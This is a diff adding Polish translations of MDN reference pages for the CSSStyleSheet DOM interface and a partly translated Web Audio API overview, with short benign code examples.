+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/behaviors/reference/behaviors/userdata.asp">Zachowanie danych użytkownika Internet Explorer (userData behavior)</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/cssrules/index.html b/files/pl/web/api/stylesheet/cssrules/index.html
new file mode 100644
index 0000000000..d3fabad79a
--- /dev/null
+++ b/files/pl/web/api/stylesheet/cssrules/index.html
@@ -0,0 +1,46 @@
+---
+title: stylesheet.cssRules
+slug: Web/API/Stylesheet/cssRules
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/CSSRuleList
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako {{domxref("CSSRuleList")}}, tablico-podobny obiekt.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>rules</i> = stylesheet.cssRules
+</pre>
+
+<p><code>rules</code> jest tablicą {{domxref("CSSRuleList")}} indywidualnych obiektów <code>cssRule</code>. Pojedynczy obiekt <code>cssRule</code> może odwołać się do jednego z następujących obiektów:</p>
+
+<ul>
+ <li>{{domxref("CSSStyleRule") }}</li>
+ <li>{{domxref("CSSMediaRule") }}</li>
+ <li>{{domxref("CSSFontFaceRule") }}</li>
+ <li>{{domxref("CSSPageRule") }}</li>
+ <li>{{domxref("CSSImportRule") }}</li>
+ <li>{{domxref("CSSCharsetRule") }}</li>
+ <li>{{domxref("CSSUnknownRule") }}</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">// pobiera pierwszą zasadę
+first_rule = document.styleSheets[0].cssRules[0];
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Zobacz obiekt DOM {{domxref("cssRule")}}.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet-cssRules">DOM Level 2 Style: CSSStyleSheet.cssRules</a></p>
diff --git a/files/pl/web/api/stylesheet/deleterule/index.html b/files/pl/web/api/stylesheet/deleterule/index.html
new file mode 100644
index 0000000000..bda06f24b4
--- /dev/null
+++ b/files/pl/web/api/stylesheet/deleterule/index.html
@@ -0,0 +1,26 @@
+---
+title: stylesheet.deleteRule
+slug: Web/API/Stylesheet/deleteRule
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/CSSStyleSheet/deleteRule
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Metoda <b>deleteRule</b> usuwa regułę stylu bieżącego obiektu arkusza stylów.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">stylesheet.deleteRule(<i>index</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>index</code> jest długą liczbą reprezentującą pozycję reguły.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> myStyles.deleteRule(0);
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-deleteRule">deleteRule</a></p>
+<p>{{ languages( { "en": "en/DOM/stylesheet.deleteRule" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/disabled/index.html b/files/pl/web/api/stylesheet/disabled/index.html
new file mode 100644
index 0000000000..74e1e5401a
--- /dev/null
+++ b/files/pl/web/api/stylesheet/disabled/index.html
@@ -0,0 +1,25 @@
+---
+title: stylesheet.disabled
+slug: Web/API/Stylesheet/disabled
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/StyleSheet/disabled
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Ta własność sygnalizuje, gdzie bieżący arkusz stylów jest używany lub nie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>bool</i> = stylesheet.disabled
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// jeśli arkusz stylów jest wyłączony...
+if (stylesheet.disabled) {
+ // zachowuje style in-line
+}
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-disabled">disabled </a></p>
+<p>{{ languages( { "en": "en/DOM/stylesheet.disabled" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/href/index.html b/files/pl/web/api/stylesheet/href/index.html
new file mode 100644
index 0000000000..e0d7661c24
--- /dev/null
+++ b/files/pl/web/api/stylesheet/href/index.html
@@ -0,0 +1,42 @@
+---
+title: stylesheet.href
+slug: Web/API/Stylesheet/href
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/StyleSheet/href
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca położenie zewnetrznego arkusza stylów.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>uri</i> = stylesheet.href
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>uri</code> jest łańcuchem zawierającym URI arkusza stylów.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> // W lokalnej maszynie:
+ &lt;html&gt;
+ &lt;head&gt;
+ &lt;link rel="StyleSheet" href="example.css" type="text/css" /&gt;
+ &lt;script&gt;
+ function sref() {
+ alert(document.styleSheets[0].href);
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;div class="thunder"&gt;Thunder&lt;/div&gt;
+ &lt;button onclick="sref()"&gt;ss&lt;/button&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;
+// Zwraca "file:////C:/Windows/Desktop/example.css
+</pre>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>Jeżeli arkusz stylów jest zewnętrznym arkuszem stylów, wartością tego atrybutu jest jego lokalizacja. Dla wewnętrznego arkusza stylów, wartość tego atrybutu wynosi null.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-href">href </a></p>
diff --git a/files/pl/web/api/stylesheet/index.html b/files/pl/web/api/stylesheet/index.html
new file mode 100644
index 0000000000..dca62c79ee
--- /dev/null
+++ b/files/pl/web/api/stylesheet/index.html
@@ -0,0 +1,57 @@
+---
+title: Stylesheet
+slug: Web/API/Stylesheet
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/CSSStyleSheet
+---
+<p>{{ ApiRef() }}</p>
+
+<p>Ten dział opisuje obiekt <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">CSSStyleSheet</a>, który opisuje pojedynczy arkusz stylów css.</p>
+
+<p>Arkusz stylów CSS składa się z reguł CSS, każda z nich może być manipulowana bezpośrednio przez obiekt <a href="pl/DOM/cssRule">CSSRule</a>. Obiekt arkusza stylów pozwala ci kontrolować i modyfikować arkusze stylów,włączając jego listę reguł.</p>
+
+<p>Możesz pobrać listę arkuszy stylów dla bieżącego dokumentu używając własności <a href="pl/DOM/document.styleSheets">document.styleSheets</a>.</p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<dl>
+ <dt><a href="pl/DOM/stylesheet.cssRules">stylesheet.cssRules</a></dt>
+ <dd>Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako tablicę.</dd>
+ <dt><a href="pl/DOM/stylesheet.disabled">stylesheet.disabled</a></dt>
+ <dd>Ta własność sygnalizuje, czy bieżący arkusz stylów jest używany lub nie.</dd>
+ <dt><a href="pl/DOM/stylesheet.href">stylesheet.href</a></dt>
+ <dd>Zwraca położenie zewnętrznego arkusza stylów.</dd>
+ <dt><a href="pl/DOM/stylesheet.media">stylesheet.media</a></dt>
+ <dd>SpeObiekt media określa zamierzony nośnik docelowy dla stylu informacji.</dd>
+ <dt><a href="pl/DOM/stylesheet.ownerNode">stylesheet.ownerNode</a></dt>
+ <dd>Zwraca węzeł łączący arkusz stylów z dokumentem.</dd>
+ <dt><a href="pl/DOM/stylesheet.ownerRule">stylesheet.ownerRule</a></dt>
+ <dd>Jeżeli arkusz stylów pochodzi z reguły @import, własność ownerRule będzie zawierać CSSImportRule.</dd>
+ <dt><a href="pl/DOM/stylesheet.parentStyleSheet">stylesheet.parentStyleSheet</a></dt>
+ <dd>Zwraca arkusz stylów, który włącza obecny arkusz (jeśli istnieje).</dd>
+ <dt><a href="pl/DOM/stylesheet.title">stylesheet.title</a></dt>
+ <dd>Zwraca doradczy tytuł bieżącego arkusza stylów.</dd>
+ <dt><a href="pl/DOM/stylesheet.type">stylesheet.type</a></dt>
+ <dd>Określa język arkusza stylów dla tego arkusza stylów.</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<dl>
+ <dt><a href="pl/DOM/stylesheet.deleteRule">stylesheet.deleteRule</a></dt>
+ <dd>Usuwa reguły z arkusza stylów.</dd>
+ <dt><a href="pl/DOM/stylesheet.insertRule">stylesheet.insertRule</a></dt>
+ <dd>Umieszcza nową regułę stylu dla bieżącego arkusza stylów.</dd>
+</dl>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-StyleSheet">DOM Level 2 Style Sheets: StyleSheet</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">DOM Level 2 CSS: CSSStyleSheet</a></p>
+
+<p>{{ languages( { "en": "en/DOM/stylesheet" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/insertrule/index.html b/files/pl/web/api/stylesheet/insertrule/index.html
new file mode 100644
index 0000000000..eeabdc8a31
--- /dev/null
+++ b/files/pl/web/api/stylesheet/insertrule/index.html
@@ -0,0 +1,42 @@
+---
+title: stylesheet.insertRule
+slug: Web/API/Stylesheet/insertRule
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/CSSStyleSheet/insertRule
+---
+<p>{{APIRef("CSSOM")}}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Metoda <strong>insertRule</strong> dodaje nową regułę stylu do aktualnego arkuszu stylu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">stylesheet.insertRule(<em>rule</em>, <em>index</em>)
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><code>rule</code> jest ciągiem zawierającym regułę do dodania (selector i declaration).</li>
+ <li><code>index</code> jest liczbą reprezentującą pozycję do dodania.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre> // push a new rule onto the top of my stylesheet
+ myStyle.insertRule("#blanc { color: white }", 0);
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>For rule sets this contains both the selector and the style declaration. For at-rules, this specifies both the at-identifier and the rule content.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-insertRule">insertRule </a></p>
diff --git a/files/pl/web/api/stylesheet/media/index.html b/files/pl/web/api/stylesheet/media/index.html
new file mode 100644
index 0000000000..8264cd5cb1
--- /dev/null
+++ b/files/pl/web/api/stylesheet/media/index.html
@@ -0,0 +1,29 @@
+---
+title: stylesheet.media
+slug: Web/API/Stylesheet/media
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/StyleSheet/media
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Obiekt <b>media</b> określa zamierzony nośnik docelowy dla stylu informacji.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>medium</i> = stylesheet.media
+stylesheet.media =<i>medium</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>medium</code> jest łańcuchem znaków opisującym pojedynczy nośnik lub listę nośników oddzielonych przecinkiem.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;link rel="StyleSheet" href="document.css" type="text/css" media="screen" /&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Domyślną wartością dla media jest "screen".</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 2 Styles - STYLESHEET</p>
+<p>{{ languages( { "en": "en/DOM/stylesheet.media" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/ownerrule/index.html b/files/pl/web/api/stylesheet/ownerrule/index.html
new file mode 100644
index 0000000000..93d73c35c5
--- /dev/null
+++ b/files/pl/web/api/stylesheet/ownerrule/index.html
@@ -0,0 +1,24 @@
+---
+title: stylesheet.ownerRule
+slug: Web/API/Stylesheet/ownerRule
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Jeżeli arkusz stylów pochodzi z reguły @import, własność <b>ownerRule</b> będzie zawierać regułę CSSImportRule.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>rule</i> = stylesheet.ownerRule
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>rule</code> jest łańcuchem zawierającym importowaną regułę w dokumencie HTML lub XML.</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zauważ, że jeżeli wartość własności <b>ownerNode</b> bieżącego elementu <a href="pl/STYLE">STYLE</a> wynosi NULL, wówczas reguła <b>ownerRule</b> zwróci !!TODO!!. I odwrotnie.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-ownerRule">ownerRule </a></p>
+<p>{{ languages( { "en": "en/DOM/stylesheet.ownerRule" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/parentstylesheet/index.html b/files/pl/web/api/stylesheet/parentstylesheet/index.html
new file mode 100644
index 0000000000..9d79c0197a
--- /dev/null
+++ b/files/pl/web/api/stylesheet/parentstylesheet/index.html
@@ -0,0 +1,29 @@
+---
+title: stylesheet.parentStyleSheet
+slug: Web/API/Stylesheet/parentStyleSheet
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/StyleSheet/parentStyleSheet
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca arkusz stylów, który włącza obecny arkusz (jeśli istnieje).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>objRef</i> = stylesheet.parentStyleSheet
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">// znajdź arkusz stylów najwyższego poziomu
+if (stylesheet.parentStyleSheet) {
+ sheet = stylesheet.parentStyleSheet;
+}
+else
+{ sheet = stylesheet; }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Ta własność zwraca wartość NULL, jeśli obecny arkusz stylów jest arkuszem najwyższego poziomu lub jeśli włączanie arkuszy stylów nie jest obsługiwane.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-parentStyleSheet">parentStyleSheet </a></p>
+<p>{{ languages( { "en": "en/DOM/stylesheet.parentStyleSheet" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/title/index.html b/files/pl/web/api/stylesheet/title/index.html
new file mode 100644
index 0000000000..48353f2667
--- /dev/null
+++ b/files/pl/web/api/stylesheet/title/index.html
@@ -0,0 +1,18 @@
+---
+title: stylesheet.title
+slug: Web/API/Stylesheet/title
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/StyleSheet/title
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>title</b> zwraca doradczy tytuł bieżącego arkusza stylów.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Tytuł jest często określany w <a href="pl/OwnerNode">ownerNode</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-title">title</a></p>
+<p>{{ languages( { "en": "en/DOM/stylesheet.title" } ) }}</p>
diff --git a/files/pl/web/api/stylesheet/type/index.html b/files/pl/web/api/stylesheet/type/index.html
new file mode 100644
index 0000000000..ea1892faa4
--- /dev/null
+++ b/files/pl/web/api/stylesheet/type/index.html
@@ -0,0 +1,22 @@
+---
+title: stylesheet.type
+slug: Web/API/Stylesheet/type
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/StyleSheet/type
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>type określa język arkusza stylów dla tego arkusza stylów.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>string</i> = stylesheet.type
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> ss.type = "text/css";
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-type">type</a></p>
+<p>{{ languages( { "en": "en/DOM/stylesheet.type" } ) }}</p>
diff --git a/files/pl/web/api/web_audio_api/index.html b/files/pl/web/api/web_audio_api/index.html
new file mode 100644
index 0000000000..e67cec2fd6
--- /dev/null
+++ b/files/pl/web/api/web_audio_api/index.html
@@ -0,0 +1,503 @@
+---
+title: Web Audio API
+slug: Web/API/Web_Audio_API
+translation_of: Web/API/Web_Audio_API
+---
+<div>
+<p>Web Audio API to potężny i uniwersalny system webowej kontroli audio umożliwiający deweloperom wybór źródeł audio, dodawanie efektów do audio, tworzenie wizualizacji audio, stosowanie efektów przestrzennych (jak panorama) i wiele więcej.</p>
+</div>
+
+<h2 id="Założenia_Web_Audio_i_jego_zastosowanie">Założenia Web Audio i jego zastosowanie</h2>
+
+<p>Web Audio API dotyczy przebiegu operacji audio wewnątrz kontekstu audio (audio context) i został zaprojektowany po to, by umożliwić obróbkę modularną (modular routing). Podstawowe operacje audio zostają wykonywane z węzłami audio (audio nodes), które złączone tworzą wykres trasowania audio (audio routing graph). Niektóre źródła - o różnych typach układów kanałów - są wspierane nawet w obrębie pojedynczego kontekstu. Modularny design cechuje się elastycznością umożliwiającą tworzenie złożonych funkcji audio z efektami dynamicznymi.</p>
+
+<p>Audio nodes are linked into chains and simple webs by their inputs and outputs. They typically start with one or more sources. Sources provide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second. These could be either computed mathematically (such as {{domxref("OscillatorNode")}}), or they can be recordings from sound/video files (like {{domxref("AudioBufferSourceNode")}} and {{domxref("MediaElementAudioSourceNode")}}) and audio streams ({{domxref("MediaStreamAudioSourceNode")}}). In fact, sound files are just recordings of sound intensities themselves, which come in from microphones or electric instruments, and get mixed down into a single, complicated wave.</p>
+
+<p>Outputs of these nodes could be linked to inputs of others, which mix or modify these streams of sound samples into different streams. A common modification is multiplying the samples by a value to make them louder or quieter (as is the case with {{domxref("GainNode")}}). Once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination ({{domxref("AudioContext.destination")}}), which sends the sound to the speakers or headphones. This last connection is only necessary if the user is supposed to hear the audio.</p>
+
+<p>A simple, typical workflow for web audio would look something like this:</p>
+
+<ol>
+ <li>Create audio context</li>
+ <li>Inside the context, create sources — such as <code>&lt;audio&gt;</code>, oscillator, stream</li>
+ <li>Create effects nodes, such as reverb, biquad filter, panner, compressor</li>
+ <li>Choose final destination of audio, for example your system speakers</li>
+ <li>Connect the sources up to the effects, and the effects to the destination.</li>
+</ol>
+
+<p><img alt="A simple box diagram with an outer box labeled Audio context, and three inner boxes labeled Sources, Effects and Destination. The three inner boxes have arrow between them pointing from left to right, indicating the flow of audio information." src="https://mdn.mozillademos.org/files/12241/webaudioAPI_en.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>Timing is controlled with high precision and low latency, allowing developers to write code that responds accurately to events and is able to target specific samples, even at a high sample rate. So applications such as drum machines and sequencers are well within reach.</p>
+
+<p>The Web Audio API also allows us to control how audio is <em>spatialized</em>. Using a system based on a <em>source-listener model</em>, it allows control of the <em>panning model</em> and deals with <em>distance-induced attenuation</em> or <em>doppler shift</em> induced by a moving source (or moving listener).</p>
+
+<div class="note">
+<p>You can read about the theory of the Web Audio API in a lot more detail in our article <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a>.</p>
+</div>
+
+<h2 id="Web_Audio_API_Interfaces">Web Audio API Interfaces</h2>
+
+<p>The Web Audio API has a number of interfaces and associated events, which we have split up into nine categories of functionality.</p>
+
+<h3 id="General_audio_graph_definition">General audio graph definition</h3>
+
+<p>General containers and definitions that shape audio graphs in Web Audio API usage.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext")}}</dt>
+ <dd>The <strong><code>AudioContext</code></strong> interface represents an audio-processing graph built from audio modules linked together, each represented by an {{domxref("AudioNode")}}. An audio context controls the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an <code>AudioContext</code> before you do anything else, as everything happens inside a context.</dd>
+ <dt>{{domxref("AudioNode")}}</dt>
+ <dd>The <strong><code>AudioNode</code></strong><strong> </strong>interface represents an audio-processing module like an <em>audio source</em> (e.g. an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element), <em>audio destination</em>, <em>intermediate processing module</em> (e.g. a filter like {{domxref("BiquadFilterNode")}}, or <em>volume control</em> like {{domxref("GainNode")}}).</dd>
+ <dt>{{domxref("AudioParam")}}</dt>
+ <dd>The <strong><code>AudioParam</code></strong><strong> </strong>interface represents an audio-related parameter, like one of an {{domxref("AudioNode")}}. It can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</dd>
+ <dt>The {{event("ended")}} event</dt>
+ <dd>The <code>ended</code> event is fired when playback has stopped because the end of the media was reached.</dd>
+</dl>
+
+<h3 id="Defining_audio_sources">Defining audio sources</h3>
+
+<p>Interfaces that define audio sources for use in the Web Audio API.</p>
+
+<dl>
+ <dt>{{domxref("OscillatorNode")}}</dt>
+ <dd>The <strong><code style="font-size: 14px;">OscillatorNode</code></strong><strong> </strong>interface represents a periodic waveform, such as a sine or triangle wave. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>frequency</em> of wave to be created.</dd>
+ <dt>{{domxref("AudioBuffer")}}</dt>
+ <dd>The <strong><code>AudioBuffer</code></strong> interface represents a short audio asset residing in memory, created from an audio file using the {{ domxref("AudioContext.decodeAudioData()") }} method, or created with raw data using {{ domxref("AudioContext.createBuffer()") }}. Once decoded into this form, the audio can then be put into an {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioBufferSourceNode")}}</dt>
+ <dd>The <strong><code>AudioBufferSourceNode</code></strong> interface represents an audio source consisting of in-memory audio data, stored in an {{domxref("AudioBuffer")}}. It is an {{domxref("AudioNode")}} that acts as an audio source.</dd>
+ <dt>{{domxref("MediaElementAudioSourceNode")}}</dt>
+ <dd>The <code><strong>MediaElementAudio</strong></code><strong><code>SourceNode</code></strong> interface represents an audio source consisting of an HTML5 {{ htmlelement("audio") }} or {{ htmlelement("video") }} element. It is an {{domxref("AudioNode")}} that acts as an audio source.</dd>
+ <dt>{{domxref("MediaStreamAudioSourceNode")}}</dt>
+ <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>SourceNode</code></strong> interface represents an audio source consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (such as a webcam, microphone, or a stream being sent from a remote computer). It is an {{domxref("AudioNode")}} that acts as an audio source.</dd>
+</dl>
+
+<h3 id="Defining_audio_effects_filters">Defining audio effects filters</h3>
+
+<p>Interfaces for defining effects that you want to apply to your audio sources.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode")}}</dt>
+ <dd>The <strong><code>BiquadFilterNode</code></strong><strong> </strong>interface represents a simple low-order filter. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, or graphic equalizers. A <code>BiquadFilterNode</code> always has exactly one input and one output.</dd>
+ <dt>{{domxref("ConvolverNode")}}</dt>
+ <dd>The <code><strong>Convolver</strong></code><strong><code>Node</code></strong><strong> </strong>interface is an <span style="line-height: 1.5;">{{domxref("AudioNode")}} that</span><span style="line-height: 1.5;"> performs a Linear Convolution on a given {{domxref("AudioBuffer")}}, and is often used to achieve a reverb effect</span><span style="line-height: 1.5;">.</span></dd>
+ <dt>{{domxref("DelayNode")}}</dt>
+ <dd>The <strong><code>DelayNode</code></strong><strong> </strong>interface represents a <a href="http://en.wikipedia.org/wiki/Digital_delay_line" title="http://en.wikipedia.org/wiki/Digital_delay_line">delay-line</a>; an {{domxref("AudioNode")}} audio-processing module that causes a delay between the arrival of an input data and its propagation to the output.</dd>
+ <dt>{{domxref("DynamicsCompressorNode")}}</dt>
+ <dd>The <strong><code>DynamicsCompressorNode</code></strong> interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.</dd>
+ <dt>{{domxref("GainNode")}}</dt>
+ <dd>The <strong><code>GainNode</code></strong><strong> </strong>interface represents a change in volume. It is an {{domxref("AudioNode")}} audio-processing module that causes a given <em>gain</em> to be applied to the input data before its propagation to the output.</dd>
+ <dt>{{domxref("StereoPannerNode")}}</dt>
+ <dd>The <code><strong>StereoPannerNode</strong></code> interface represents a simple stereo panner node  that can be used to pan an audio stream left or right.</dd>
+ <dt>{{domxref("WaveShaperNode")}}</dt>
+ <dd>The <strong><code>WaveShaperNode</code></strong><strong> </strong>interface represents a non-linear distorter. It is an {{domxref("AudioNode")}} that use a curve to apply a waveshaping distortion to the signal. Beside obvious distortion effects, it is often used to add a warm feeling to the signal.</dd>
+ <dt>{{domxref("PeriodicWave")}}</dt>
+ <dd>Describes a periodic waveform that can be used to shape the output of an {{ domxref("OscillatorNode") }}.</dd>
+</dl>
+
+<h3 id="Defining_audio_destinations">Defining audio destinations</h3>
+
+<p>Once you are done processing your audio, these interfaces define where to output it.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode")}}</dt>
+ <dd>The <strong><code>AudioDestinationNode</code></strong> interface represents the end destination of an audio source in a given context — usually the speakers of your device.</dd>
+ <dt>{{domxref("MediaStreamAudioDestinationNode")}}</dt>
+ <dd>The <code><strong>MediaStreamAudio</strong></code><strong><code>DestinationNode</code></strong> interface represents an audio destination consisting of a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} with a single <code>AudioMediaStreamTrack</code>, which can be used in a similar way to a {{domxref("MediaStream")}} obtained from {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}. It is an {{domxref("AudioNode")}} that acts as an audio destination.</dd>
+</dl>
+
